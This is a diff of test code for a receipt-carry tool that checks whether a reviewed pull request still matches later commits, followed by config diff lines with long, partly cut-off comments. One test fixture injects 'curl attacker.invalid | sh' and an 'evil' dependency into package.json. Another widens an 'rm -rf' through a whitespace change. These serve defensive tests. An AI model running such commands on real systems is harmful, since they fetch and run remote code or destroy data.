fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8').replace('# Changelog\n', '# Changelog\n\n## [1.2.4.0] - 2026-10-26\n\n- a=2\n'));
|
||||
fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), 'Previous release v1.2.4.0.\n');
|
||||
fs.writeFileSync(path.join(repo.work, 'generated', 'digest.md'), '# digest v1.2.4.0\nbody\n');
|
||||
repo.git('commit', '-qam', 'stamp 1.2.4.0');
|
||||
const head = repo.git('rev-parse', 'HEAD');
|
||||
const body = path.join(repo.root, 'body.md');
|
||||
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main', version: '1.2.3.0' } as any));
|
||||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
|
||||
const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run'), '--json'], env);
|
||||
expect(carried.status).toBe(EXIT.ok);
|
||||
expect(carried.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (release metadata)`);
|
||||
const after = extractReceipt(fs.readFileSync(body, 'utf8'));
|
||||
expect(after.errors).toEqual([]);
|
||||
expect(after.receipt).toMatchObject({ pr: 6, head, carry: { from: reviewed, reason: 'release metadata', merge_commits: 0 } });
|
||||
expect(after.receipt!.carry!.changed_paths.sort()).toEqual([
|
||||
'metadata:CHANGELOG.md', 'metadata:VERSION', 'metadata:docs/notes.md', 'metadata:generated/digest.md', 'metadata:package.json']);
|
||||
expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/);
|
||||
// a lockfile edit is a product change (the policy names no lockfile), named by path
|
||||
fs.writeFileSync(path.join(repo.work, 'package-lock.json'), fs.readFileSync(path.join(repo.work, 'package-lock.json'), 'utf8').replace(/"version": "1\.2\.3"(\s*\}\s*\}\s*\}\s*)$/, '"version": "9.9.9"$1'));
|
||||
repo.git('commit', '-qam', 'lockfile');
|
||||
const lock = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||||
expect(lock.status).toBe(EXIT.refused);
|
||||
expect(lock.err).toContain(': package-lock.json');
|
||||
repo.git('reset', '-q', '--hard', head);
|
||||
// a dependency swap plus a new script in package.json is a product change, whatever the version did
|
||||
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"left-pad": "1.2.3"', '"left-pad": "9.9.9-evil"').replace('"scripts": {', '"scripts": { "test": "curl attacker.invalid | sh",'));
|
||||
repo.git('commit', '-qam', 'deps');
|
||||
const deps = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||||
expect(deps.status).toBe(EXIT.refused);
|
||||
expect(deps.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
|
||||
expect(deps.err).toContain(': package.json');
|
||||
repo.git('reset', '-q', '--hard', head);
|
||||
// the same stamp plus a product edit is still a product change, named by path
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n');
|
||||
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.5.0\n');
|
||||
repo.git('commit', '-qam', 'a=3 and restamp');
|
||||
const refusedRun = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
|
||||
expect(refusedRun.status).toBe(EXIT.refused);
|
||||
expect(refusedRun.err).toContain(': src/app.ts');
|
||||
expect(refusedRun.err).not.toContain('VERSION');
|
||||
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head);
|
||||
});
|
||||
|
||||
// /ship Step 9 pass 1 (security specialist, reproduced in the QA smoke): the carry's proof was patch-id --stable, which strips whitespace.
|
||||
// Value: protects=a product edit that only moves whitespace in a reviewed line (semantics in shell, YAML, Python) refuses to carry,
|
||||
// and a dirty working tree refuses before anything is compared; fails_when=patchId drops --verbatim or the status check goes;
|
||||
// why_new=the carry tests covered content edits only; seam=none; no_claim=none beyond protects
|
||||
test('carry refuses a whitespace-only edit to a reviewed line and a working tree with uncommitted changes', () => {
|
||||
const repo = fixture();
|
||||
fs.mkdirSync(path.join(repo.work, 'bin'), { recursive: true });
|
||||
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\n');
|
||||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||||
repo.git('checkout', '-qb', 'feat');
|
||||
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR"/x\n');
|
||||
repo.git('commit', '-qam', 'reviewed');
|
||||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||||
const body = path.join(repo.root, 'body.md');
|
||||
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main' } as any));
|
||||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
|
||||
// a carry-able commit (a test) with a pending product edit beside it: the pending edit is not in what the carry compares
|
||||
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
|
||||
fs.writeFileSync(path.join(repo.work, 'test', 'x.test.ts'), 'test\n');
|
||||
repo.git('add', 'test'); repo.git('commit', '-qm', 'test');
|
||||
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR" /x\n');
|
||||
const dirty = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||||
expect(dirty.status).toBe(EXIT.refused);
|
||||
expect(dirty.err).toContain('the working tree has uncommitted changes (bin/x.sh)');
|
||||
expect(dirty.err).toContain('(RECEIPT_CARRY_REFUSED;');
|
||||
repo.git('commit', '-qam', 'ws only');
|
||||
const ws = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||||
expect(ws.status).toBe(EXIT.refused);
|
||||
expect(ws.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
|
||||
expect(ws.err).toContain(': bin/x.sh');
|
||||
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed);
|
||||
});
|
||||
|
||||
// /ship Step 9 pass 1 (testing specialist): a receipt carried twice named the carried head as its origin.
|
||||
// Value: protects=a receipt carried A→B then B→C still names the reviewed head A, adds up the hops' merges and paths, and the
|
||||
// run record's carried_from is A; fails_when=carryReceipt spreads the new carry over the old one; why_new=only single carries
|
||||
// were tested; seam=none; no_claim=none beyond protects
|
||||
test('a receipt carried twice keeps the reviewed head as carry.from and accumulates the hops', () => {
|
||||
const repo = fixture();
|
||||
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n');
|
||||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||||
repo.git('checkout', '-qb', 'feat');
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
|
||||
repo.git('commit', '-qam', 'feat');
|
||||
const a = repo.git('rev-parse', 'HEAD');
|
||||
// main moves on an unrelated file; feat merges it (hop 1), then a test lands (hop 2)
|
||||
repo.git('checkout', '-q', 'main');
|
||||
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n');
|
||||
repo.git('commit', '-qam', 'main: other'); repo.git('push', '-q', 'origin', 'main');
|
||||
repo.git('checkout', '-q', 'feat'); repo.git('merge', '-q', '--no-edit', 'main');
|
||||
const b = repo.git('rev-parse', 'HEAD');
|
||||
const body = path.join(repo.root, 'body.md');
|
||||
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: a, base: 'main' } as any));
|
||||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
|
||||
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env).status).toBe(EXIT.ok);
|
||||
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
|
||||
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test\n');
|
||||
repo.git('add', '.'); repo.git('commit', '-qm', 'test');
|
||||
const c = repo.git('rev-parse', 'HEAD');
|
||||
const second = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'run2'), '--json'], env);
|
||||
expect(second.status).toBe(EXIT.ok);
|
||||
expect(second.out).toContain(`CARRY: carried from ${b.slice(0, 12)} to ${c.slice(0, 12)} (test-only change)`);
|
||||
const receipt = extractReceipt(fs.readFileSync(body, 'utf8')).receipt!;
|
||||
expect(receipt.head).toBe(c);
|
||||
expect(receipt.carry).toMatchObject({ from: a, reason: 'base merge + test-only change', merge_commits: 1 });
|
||||
expect(receipt.carry!.changed_paths).toEqual(['product:src/other.ts', 'test:test/app.test.ts']);
|
||||
expect(receiptSummaryLine(receipt)).toContain(`carried_from=${a.slice(0, 12)}`);
|
||||
const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'run2', 'ship-run.json'), 'utf8'));
|
||||
expect(run.carried_from).toBe(a);
|
||||
});
|
||||
|
||||
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
|
||||
// Value: protects=carry through gh never rebinds a receipt to a head GitHub has not seen (HEAD ahead of the pushed head is
|
||||
// refused with "push first"), and a failed gh pr edit or gh pr view reports status=incomplete with the body left as it was,
|
||||
// never status=complete; fails_when=the headRefOid check is dropped, or the gh failure path returns the terminal complete line
|
||||
// or writes a run record; why_new=the existing gh carry test covers the happy post only; seam=none; no_claim=gh itself (a shim
|
||||
// stands in for pr view and pr edit)
|
||||
test('carry --pr refuses a HEAD that is not the pushed head, and a failing gh pr edit or pr view is incomplete with nothing carried', () => {
|
||||
const repo = fixture();
|
||||
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
|
||||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||||
repo.git('checkout', '-qb', 'feat');
|
||||
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n');
|
||||
repo.git('commit', '-qam', 'feat');
|
||||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||||
repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up');
|
||||
const head = repo.git('rev-parse', 'HEAD');
|
||||
const shimDir = path.join(repo.root, 'gh3');
|
||||
fs.mkdirSync(shimDir);
|
||||
const posted = path.join(shimDir, 'posted.md');
|
||||
const prJson = path.join(shimDir, 'pr.json');
|
||||
const editRc = path.join(shimDir, 'edit-rc');
|
||||
const prBody = placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any);
|
||||
fs.writeFileSync(path.join(shimDir, 'gh'), [
|
||||
'#!/bin/sh',
|
||||
`if [ "$1" = pr ] && [ "$2" = view ]; then [ -f "${prJson}" ] || { echo "gh: HTTP 502" >&2; exit 1; }; cat "${prJson}"; exit 0; fi`,
|
||||
`if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; rc=$(cat "${editRc}" 2>/dev/null || echo 0); [ "$rc" = 0 ] || echo "gh: validation failed" >&2; exit "$rc"; fi`,
|
||||
'echo "unsupported $*" >&2; exit 1', '',
|
||||
].join('\n'), { mode: 0o755 });
|
||||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), PATH: `${shimDir}:${process.env.PATH}` };
|
||||
const runDir = path.join(repo.root, 'run');
|
||||
// GitHub still has the reviewed head: the follow-up was never pushed
|
||||
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: reviewed }));
|
||||
const unpushed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
|
||||
expect(unpushed.status).toBe(EXIT.refused);
|
||||
expect(unpushed.err).toContain(`HEAD ${head.slice(0, 12)} is not PR #8's pushed head ${reviewed.slice(0, 12)}; push first, then carry`);
|
||||
expect(unpushed.err).toContain('(RECEIPT_CARRY_REFUSED;');
|
||||
expect(unpushed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_REFUSED)\nGSTACK_RESULT: skill=ship status=refused run=-');
|
||||
expect(fs.existsSync(posted)).toBe(false);
|
||||
// pushed, but the edit fails: incomplete, no run record, nothing carried
|
||||
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: head }));
|
||||
fs.writeFileSync(editRc, '1\n');
|
||||
const editFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
|
||||
expect(editFailed.status).toBe(EXIT.fail);
|
||||
expect(editFailed.err).toContain('gh pr edit failed: gh: validation failed; the receipt was not carried');
|
||||
expect(editFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
|
||||
expect(fs.existsSync(runDir)).toBe(false);
|
||||
const jsonFail = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir, '--json'], env);
|
||||
expect(jsonFail.status).toBe(EXIT.fail);
|
||||
expect(JSON.parse(jsonFail.out)).toMatchObject({ skill: 'ship', status: 'incomplete', run: '-' });
|
||||
// gh pr view fails: incomplete, not refused
|
||||
fs.rmSync(prJson);
|
||||
const viewFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
|
||||
expect(viewFailed.status).toBe(EXIT.fail);
|
||||
expect(viewFailed.err).toContain('gh pr view failed: gh: HTTP 502');
|
||||
expect(viewFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
|
||||
expect(fs.existsSync(runDir)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('review_loop receipt input (harness lane E: the factory scorecard counters)', () => {
|
||||
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
|
||||
// Value: protects=the receipt's review_loop carries only well-formed non-negative integer counters, and `write --review-loop`
|
||||
// refuses a malformed record instead of silently dropping it from the receipt the scorecard reads; fails_when=parseReviewLoop
|
||||
// accepts a float, a negative or a string count, or write ignores a bad --review-loop and writes the body anyway; why_new=the
|
||||
// write test covers one valid record only; seam=none; no_claim=none beyond protects
|
||||
// Moved out of the heavy write test above by /ship Step 7: with the loop case appended there, that test ran 4.8–5.0 s on a
|
||||
// 4-core machine and tripped bun's 5 s per-test default about every other run; the loop case needs no stamped tree receipt.
|
||||
test('write --review-loop records the loop counters in the receipt and the SHIP_RECEIPT line', () => {
|
||||
const repo = fixture();
|
||||
const loopFile = path.join(repo.root, 'review-loop.json');
|
||||
fs.writeFileSync(loopFile, JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' }));
|
||||
const loopBody = path.join(repo.root, 'body-loop.md');
|
||||
fs.writeFileSync(loopBody, '## Summary\n');
|
||||
const withLoop = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}',
|
||||
'--session-kind', 'unattended', '--queue-mode', 'stamp-at-merge', '--history', 'squash-ok', '--review-loop', '@' + loopFile, '--body', loopBody]);
|
||||
expect(withLoop.status).toBe(EXIT.ok);
|
||||
expect(withLoop.err.trim()).toContain(' passes=2 blocking_found=1 deferred=1');
|
||||
expect(extractReceipt(withLoop.out).receipt).toMatchObject({ pr: 42, review_loop: { passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' } });
|
||||
const written = extractReceipt(fs.readFileSync(loopBody, 'utf8'));
|
||||
expect(written.errors).toEqual([]);
|
||||
expect(Object.keys(written.receipt!).slice(-1)).toEqual(['review_loop']);
|
||||
});
|
||||
|
||||
test('parseReviewLoop keeps integer counters and drops the rest; write --review-loop refuses a malformed record and writes nothing', () => {
|
||||
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1 })).toEqual({ passes: 2, blocking_found: 1, deferred: 1 });
|
||||
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen', extra: 'x' })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' });
|
||||
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: -1, fixed: 1.5, scope: 'x'.repeat(40) })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, scope: 'x'.repeat(20) });
|
||||
expect(parseReviewLoop({ passes: 0, blocking_found: 0, deferred: 0 })).toEqual({ passes: 0, blocking_found: 0, deferred: 0 });
|
||||
for (const bad of [undefined, null, 'frozen', [], { passes: 2, blocking_found: 1 }, { passes: '2', blocking_found: 1, deferred: 1 }, { passes: 1.5, blocking_found: 1, deferred: 1 }, { passes: -1, blocking_found: 1, deferred: 1 }]) {
|
||||
expect(parseReviewLoop(bad)).toBeUndefined();
|
||||
}
|
||||
expect(receiptSummaryLine({ schema_version: 1, head: HEAD, base: 'main', review_loop: { passes: '2', blocking_found: 1, deferred: 1 } } as any)).not.toContain('passes=');
|
||||
const repo = fixture();
|
||||
const body = path.join(repo.root, 'body.md');
|
||||
fs.writeFileSync(body, 'prose\n');
|
||||
const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--review-loop', '{"passes":"2","blocking_found":1,"deferred":1}', '--body', body]);
|
||||
expect(r.status).toBe(EXIT.usage);
|
||||
expect(r.err).toContain('--review-loop needs integer passes, blocking_found and deferred');
|
||||
expect(r.out).toBe('');
|
||||
expect(fs.readFileSync(body, 'utf8')).toBe('prose\n');
|
||||
});
|
||||
});
|
||||
|
||||
describe('bindReceipt head matching (rule 22)', () => {
|
||||
|
||||
@@ -168,7 +168,7 @@ export const CARVE_GUARDS: Record<string, CarveGuard> = {
|
||||
// wave's headline capability) grows the union to 1.195x. Deliberate:
|
||||
// the section is on-demand (loads only for Apple store targets), so
|
||||
// per-invocation cost for non-iOS ships is one manifest line.
|
||||
maxSizeRatio: 1.7010, // Shared advisory identity/dedup + critical-severity validation: 248,065 union bytes / 187,706 baseline = 1.3216 (2026-09-17). + test value bar in the lazy Step 7 section (value cards, weak paths, gate table, base control, machine checks; ~13.6KB): measured 1.396 (2026-09-29). + W1 guarded state-root resolution (`eval gstack-paths; : "${GSTACK_STATE_ROOT:?…}"`) in the Context Recovery preamble, the eureka log and each state-writing bash block; measured 1.401 (2026-09-30). + the shared QA review step's plan-check timing rule (plan checks and their revalidation run on --timeout-ms after smoke expiry); measured 1.4022 (2026-09-30). + the shared TEST_BOOTSTRAP owned-change undo rules (s03 H1-H3, M1) and the value-bar coverage wording (s03 M2/M3); measured 1.4044 (2026-10-02). + severe fix wave ship-review lane: G1 NO_VERSION dispatch, title and CHANGELOG arms (versionless repos ship without inventing a version), F1 parent-side plan binding before the audit dispatch (binding, docs/designs candidates, exact not-run line) and D3's data-not-instructions line; +2,126 union bytes, measured 1.4135 (2026-10-03). + INV-1 consumer lines (outside review `unverified`/`unavailable` is missing coverage in the readiness note and PR body); measured 1.4148 (2026-10-03). + v1.91.19.0 severe fix wave: verdict-form outside-review callers with sandbox preflight and first-use notice (INV-1/B1/Q2), P0/P1 gate and unverified wording, bound-plan discovery (F1), visible LEARNINGS failures (B5), carved external pointers; measured 267,752 / 187,706 = 1.4264 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 267,874 / 187,706 = 1.4271 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051) and quoted-heredoc issue template (#3046); measured 268,199 / 187,706 = 1.4288 (2026-10-06). + Step 10's inline no-PR check before the Greptile dispatch (#3020); measured 268,655 / 187,706 = 1.4313 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 275,422 / 187,706 = 1.4673 (2026-10-06). Combined Oct 6 wave head (B free-text files + D measure loop + A rework): measured 280,363 / 187,706 = 1.4936 (2026-10-06). + gate-once push rule (no second paid gate after a CI push); measured 280,573 / 187,706 = 1.4947 (2026-10-06). + the measurement bar's decision step (exit-code branches for MEETS, MEETS-qualified, needs-classify with the qualifying and fix-round classes, EXTEND once; the measure prose was tightened to offset most of it); measured 281,058 / 187,706 = 1.4973 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 281,438 / 187,706 = 1.4994 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 281,556 / 187,706 = 1.5000 (2026-10-07). + Oct 7 wave B4: /ship publishes through gstack-post (title prepared in a file in the pr-body section, compose block plus gstack-post exit-code branches replacing the two scans); measured 281,894 / 187,706 = 1.5018 (2026-10-07). + B2 early Greptile PR (lazy Step 6.5 section: detect, public-repo consent, push, provisional title file, open; Step 10's bounded wait; the stop-leaves-the-draft rule); measured 286,626 / 187,706 = 1.5270 (2026-10-07). B3, the classifier, B4 and B2 merged: measured 287,128 / 187,706 = 1.5297 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 281,370 / 187,706 = 1.4990 (2026-10-07). Merged with the guard area: measured 287,440 / 187,706 = 1.5313 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 288,783 / 187,706 = 1.5385 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): the shared GATE_SCAN_BLOCK in the core checklist (2.5) and after Step 7's child, the four-option gate question and record fields in 9.4, tests_ran states in Step 5, Gate edits and per-lane counts in the PR body with draft-while-open; measured 300,143 / 187,706 = 1.5990 (2026-10-10). + Honest Work wave merged (W2/W3 gate integrity in review/ship, W4 kernel + DONE line in every tier-2+ skill, W5/W7 in spec/ship): re-measured on the integrated tree (2026-10-10). + Oct 10 multi-agent wave PR E2 (ship/sections/handoff.md: the no-PR automation handoff, with its Section-index row and STOP pointer in the skeleton), offset by tightening Steps 1–3, 12, 14–17 and 20–21 prose so the skeleton stays under 81,000 bytes (80,997); C-pregate landed 1,123 union bytes in tests.md in between; measured 308,619 / 187,706 = 1.6442 on the integra
Line truncated
|
||||
maxSizeRatio: 1.7150, // Shared advisory identity/dedup + critical-severity validation: 248,065 union bytes / 187,706 baseline = 1.3216 (2026-09-17). + test value bar in the lazy Step 7 section (value cards, weak paths, gate table, base control, machine checks; ~13.6KB): measured 1.396 (2026-09-29). + W1 guarded state-root resolution (`eval gstack-paths; : "${GSTACK_STATE_ROOT:?…}"`) in the Context Recovery preamble, the eureka log and each state-writing bash block; measured 1.401 (2026-09-30). + the shared QA review step's plan-check timing rule (plan checks and their revalidation run on --timeout-ms after smoke expiry); measured 1.4022 (2026-09-30). + the shared TEST_BOOTSTRAP owned-change undo rules (s03 H1-H3, M1) and the value-bar coverage wording (s03 M2/M3); measured 1.4044 (2026-10-02). + severe fix wave ship-review lane: G1 NO_VERSION dispatch, title and CHANGELOG arms (versionless repos ship without inventing a version), F1 parent-side plan binding before the audit dispatch (binding, docs/designs candidates, exact not-run line) and D3's data-not-instructions line; +2,126 union bytes, measured 1.4135 (2026-10-03). + INV-1 consumer lines (outside review `unverified`/`unavailable` is missing coverage in the readiness note and PR body); measured 1.4148 (2026-10-03). + v1.91.19.0 severe fix wave: verdict-form outside-review callers with sandbox preflight and first-use notice (INV-1/B1/Q2), P0/P1 gate and unverified wording, bound-plan discovery (F1), visible LEARNINGS failures (B5), carved external pointers; measured 267,752 / 187,706 = 1.4264 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 267,874 / 187,706 = 1.4271 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051) and quoted-heredoc issue template (#3046); measured 268,199 / 187,706 = 1.4288 (2026-10-06). + Step 10's inline no-PR check before the Greptile dispatch (#3020); measured 268,655 / 187,706 = 1.4313 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 275,422 / 187,706 = 1.4673 (2026-10-06). Combined Oct 6 wave head (B free-text files + D measure loop + A rework): measured 280,363 / 187,706 = 1.4936 (2026-10-06). + gate-once push rule (no second paid gate after a CI push); measured 280,573 / 187,706 = 1.4947 (2026-10-06). + the measurement bar's decision step (exit-code branches for MEETS, MEETS-qualified, needs-classify with the qualifying and fix-round classes, EXTEND once; the measure prose was tightened to offset most of it); measured 281,058 / 187,706 = 1.4973 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 281,438 / 187,706 = 1.4994 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 281,556 / 187,706 = 1.5000 (2026-10-07). + Oct 7 wave B4: /ship publishes through gstack-post (title prepared in a file in the pr-body section, compose block plus gstack-post exit-code branches replacing the two scans); measured 281,894 / 187,706 = 1.5018 (2026-10-07). + B2 early Greptile PR (lazy Step 6.5 section: detect, public-repo consent, push, provisional title file, open; Step 10's bounded wait; the stop-leaves-the-draft rule); measured 286,626 / 187,706 = 1.5270 (2026-10-07). B3, the classifier, B4 and B2 merged: measured 287,128 / 187,706 = 1.5297 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 281,370 / 187,706 = 1.4990 (2026-10-07). Merged with the guard area: measured 287,440 / 187,706 = 1.5313 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 288,783 / 187,706 = 1.5385 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): the shared GATE_SCAN_BLOCK in the core checklist (2.5) and after Step 7's child, the four-option gate question and record fields in 9.4, tests_ran states in Step 5, Gate edits and per-lane counts in the PR body with draft-while-open; measured 300,143 / 187,706 = 1.5990 (2026-10-10). + Honest Work wave merged (W2/W3 gate integrity in review/ship, W4 kernel + DONE line in every tier-2+ skill, W5/W7 in spec/ship): re-measured on the integrated tree (2026-10-10). + Oct 10 multi-agent wave PR E2 (ship/sections/handoff.md: the no-PR automation handoff, with its Section-index row and STOP pointer in the skeleton), offset by tightening Steps 1–3, 12, 14–17 and 20–21 prose so the skeleton stays under 81,000 bytes (80,997); C-pregate landed 1,123 union bytes in tests.md in between; measured 308,619 / 187,706 = 1.6442 on the integra
Line truncated
|
||||
},
|
||||
'plan-ceo-review': {
|
||||
skill: 'plan-ceo-review',
|
||||
@@ -487,7 +487,7 @@ do not launch the downstream skill or open a browser.`,
|
||||
maxSkeletonBytes: 80_900, // Shared-code identity/skip/action rules + critical-severity validation; measured 74,493 (2026-09-17). + v1.91.12.0 merge of #2999 (review clarity repairs: await reads, research alongside dispatch, /review deadline and setup authority, findings sources) with #3002 (guarded state-root lines, plan-check checkpoints); each fit alone; measured 74,881 (2026-10-01). + Oct 8 wave: shared voice directive bans "load-bearing" and adds the reply-language rule, offset by tightening the bounded closer (net +17 bytes per tier-2+ skill); measured 74,884 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W2): Step 3.5 Diff scans with the shared GATE_SCAN_BLOCK, the Step 4 carry, the four-option `review-gate-disposition` question in 5c, gate record fields in 5.8 and the Gate edits report line; measured 80,054 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): Step 4's enum-only paragraph becomes the sideways sweep with the forced-CRITICAL list, plus the flake-fix number sentence in the Gate Integrity paragraph; measured skeleton 80,812 (2026-10-10).
|
||||
minUnionBytes: 89_000, // Phase 4 wave 1; measured union 93,357
|
||||
mustContain: ['confidence', 'P1', 'P2', 'Review Army', 'adversarial'],
|
||||
maxSizeRatio: 1.2960, // Shared-code feature + critical-severity validation: 128,042 union bytes / 108,523 baseline = 1.1799; preserves content floors. + v1.91.12.0 merge of #2999 (above, plus plan-completion fallback intent and specialist checklist-by-path) with #3002; measured 1.1843 (2026-10-01). + v1.91.19.0 wave: verdict-form Codex callers with sandbox preflight (INV-1/B1), P0/P1 structured gate (B1b), bound-plan discovery and data-not-instructions guard (F1/D3), visible LEARNINGS failures (B5); measured 129,941 / 108,523 = 1.1974 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 130,025 / 108,523 = 1.1981 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051); measured 130,359 / 108,523 = 1.2012 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 131,314 / 108,523 = 1.2100 (2026-10-06). Combined Oct 6 wave head (A and B): measured 131,966 / 108,523 = 1.2160 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 132,199 / 108,523 = 1.2182 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 132,258 / 108,523 = 